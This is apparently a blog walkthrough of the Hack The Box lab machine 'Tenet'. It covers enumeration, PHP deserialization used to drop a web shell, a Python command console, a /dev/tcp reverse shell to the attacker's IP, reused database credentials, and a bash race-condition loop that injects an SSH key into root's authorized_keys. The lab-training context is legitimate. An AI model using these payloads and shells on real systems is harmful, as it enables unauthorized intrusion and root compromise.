HTB Tenet

2021-06-22

Tenet starts off with a wordpress site. After some enumeration second domain is found and a PHP file vulnerable to object injection. From there, an attacker can get a shell, find credentials in a configuration file, and privesc to root by leveraging a race condition.

Enumeration

NMAP shows port 22 is open for SSH and port 80 is running an HTTP server displaying the default apache2 page.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-17 00:47 UTC
Nmap scan report for 10.10.10.223
Host is up (0.15s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.61 seconds

The default page doesn’t give us a whole lot of info and there doesn’t seem to be a robots.txt. FFUF or another directory brute forcer can be used to learn there is a wordpress directory.

ffuf -u http://10.10.10.223/FUZZ -w /opt/dirbuster-wordlists/directory-list-2.3-medium.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.223/FUZZ
 :: Wordlist         : FUZZ: /opt/dirbuster-wordlists/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

                        [Status: 200, Size: 10918, Words: 3499, Lines: 376]
1                       [Status: 200, Size: 1688, Words: 186, Lines: 43]
wordpress               [Status: 301, Size: 316, Words: 20, Lines: 10]
                        [Status: 200, Size: 10918, Words: 3499, Lines: 376]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
:: Progress: [220547/220547] :: Job [1/1] :: 276 req/sec :: Duration: [0:13:17] :: Errors: 0 ::

Adding tenet.htb to /etc/hosts will make it function better. Wordpress tends to want to redirect to a domain. There are a few articles talking about their newly coming services and mention of a site migration. On one post, there is a comment that references a “sator.php” file and a backup version of it. Seemingly, the site migration is incomplete.

Sator dosent’ exist on this site this site. However, box might have multiple virtual hosts. That turns out to be the case. After sator.tenet.htb is added /etc/hosts a copy of the wordpress site seen found prior is accessible On this one, sator.php is present and more importantly, the aforementioned backup version of it, sator.php.bak is also accessible.

Foothold

sator.php takes input through the arepo parameter. That output is then deserialized. There is also a class that is called DatabaseExport that writes to a file Deseralizaiton can lead to some unintended results through object injection.

The __destruct () function means PHP file can be leveraged to create object and from it a file. To pull this off, write a PHP file that mirrors sator.php but a bit different.

<?php

class DatabaseExport
{
    public $user_file = 'users.txt';
    public $data = '';

    public function update_db()
    {
        echo '[+] Grabbing users from text file <br>';
        $this-> data = 'Sucess';
    }


    public function __construct()
    {
        $this->user_file = 'magic.php';
        $this->data = '<?php system("whoami"); ?>';

    }
}

$app = new DatabaseExport();
echo serialize($app);
echo "\n";

?>

Instead of a __destruct a is used __construct and a few other items are changed as well. The output file is going to be called magic.php and the contents will be some simple PHP code to execute the whomami command.

Running the above file using php file and outputs the following.

O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"magic.php";s:4:"data";s:26:"<?php system("whoami"); ?>";}

This can be sent to the server using the arepo argument. Then a request can be made to 10.10.10.223/magic.php. The response is www-data, showing code execution.

If you are interested in learning more about PHP deserialization attacks, IppSec has some awesome videos I referenced while working on this. Player 2 PHP deserialization to place an SSH key. and Intro to PHP deserialization

This is a bit clumsy though and there are some ways it can be nicened up.

First whoami can be changed to instead take the argument c from a get request and execute using the system function.

<?php echo shell_exec($_GET['c']); ?>

That can be created on the Tenet with following. http://sator.tenet.htb/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"magic.php";s:4:"data";s:37:"<?php echo shell_exec($_GET["c"]); ?>";}

This is very workable and requests can be sent with curl, burp, postman, or even just a web browser. But console applications are cool.

import requests
import readline

URI = input("Path to PHP shell. (http://example.site/file.php)\n")
print("Sending commands to: " + URI)

while 1:
	command = input(">")
	if command == 'exit':
		break
	else:
		r = requests.get(URI+ "?c=" + command)
		print(r.text)

It’s fairly simple in nature but it does give a way to send and receive commands a terminal like interface. Now that that is ready to go, it’s time to get a proper reverse shell.

The old fallback of basn -c 'bash -i >&/dev/tcp/<ip>/<port> 0>&1' fails along with a similar one using netcat nc -e /bin/sh <ip> <port>. There is more than one way to send this payload though.

#!/bin/bash

basn -c 'bash -i >&/dev/tcp/10.10.14.36/5678 0>&1'

This file is created and saved, a python HTTP server is started in the same directory, and a netcat listener on port 5678. Then we go back to back to our “terminal” access for Tenet, wget the file, mark it as executable and run it. Right away the netcat listener get’s a connection.

User

The CWD is wordpress home directory. Listing the files shows the wp-config.php file. Inside are credentials configured for interacting with the MySQL database. neil:Opera2112. Neil used the same password for their login allowing SSH access directory to the box.

Root

Via sudo -l Niel’s sudo permissions can be checked. It turns it out they can run a script calledEnableSSH.sh with root permissions.

neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash

checkAdded() {

        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

                /bin/echo "Successfully added $sshName to authorized_keys file!"

        else

                /bin/echo "Error in adding $sshName to authorized_keys file!"

        fi

}

checkFile() {

        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

                /bin/echo "Error in creating key file!"

                if [[ -f $1 ]]; then /bin/rm $1; fi

                exit 1

        fi

}

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

        (umask 110; touch $tmpName)

        /bin/echo $key >>$tmpName

        checkFile $tmpName

        /bin/cat $tmpName >>/root/.ssh/authorized_keys

        /bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

The script is fairly simple in nature. First, it creates a temp file in /tmp and then it echos the root public root SSH key. Then it adds that file to the /root/.ssh/authorized_keys file and checks to make sure the key was added successfully.

This creates a race conidion. If that file is overwritten by a diffrent SSH key before it is added to /root/.ssh/authorized_keys, it would grant SSH access as the root user.

A simple bash can be used to check to check if the temp file has been created. If it has, it will be overwritten with a key key of our choosing. Place all this in a while loop and start it running.

#!/bin/bash

while true; do
        echo "Checking for temp file..."
        if [ $( ls /tmp/ssh-* 2>/dev/null ) ]; then
                echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6+U/U+EtFlAU/0QuXeMehQgipru8HqD+TOoGMoM8pON+Brgvr0ThHzSq14wSC6F8yZsHbHYgb7gVutcNsADD+mkl+aZn97385WgWxwYZdW6a8VRLCRFr9nLZhwGeBEJC33+GbKyn3P5flagzgdTlhSBeNxuIh1ahxhnunpEQO7x+J8vyP1ZzYbU2ukApurzkMbV3osD7ovKIKxHc9zbPLOT/907tpz0bT4K3PLsh2FTNjK7xhTNWbqO975+x0d/Ni3UIcmyEb6APTz2ipxqWELpw041Fj6uxzq9pRWLuMypV9vCP9smybu22yEClb4t4J3r63qFl+hpzEwcO8JS7gdhUI9oB7VxyrcjLM4/5MPCnW0faulAUnpspWMsaqun2OjJ1tQMtVJKT3WkUT/We6CPx6YigxnQgV6nUHW3qZ3ZCgvHRot8IRpCYA/fImMcWhuseX5dWGHOJtL641h43xI8AZPQylNkPepCzEa5vQ/b+tKaG7cWxjVD4jbgg4ZRk= root@ubuntu" > /tmp/ssh-*
                echo "File found and overwritten"
                exit
        fi
        echo "File not found. Continuing."
done

EnableSSH.sh can then be run from another session. The Overwrite script reports it found and overwrote a file and EnableSSH.sh tells us the key was added successfully.

The private key matching the public key used in the script can then be used to SSH to Tenet with root permissions.

Wrap Up

Thanks egotisticalSW for making this machine! I overall had a ton of fun. There was some difficulty on the root privesc. It took two days of attempting to finally get it working and switching to VIP+ servers. I think the challenge was I kept running into other people working on it at the same time and our scripts were clashing. I could see that getting very frustrating.

HTB ScriptKiddie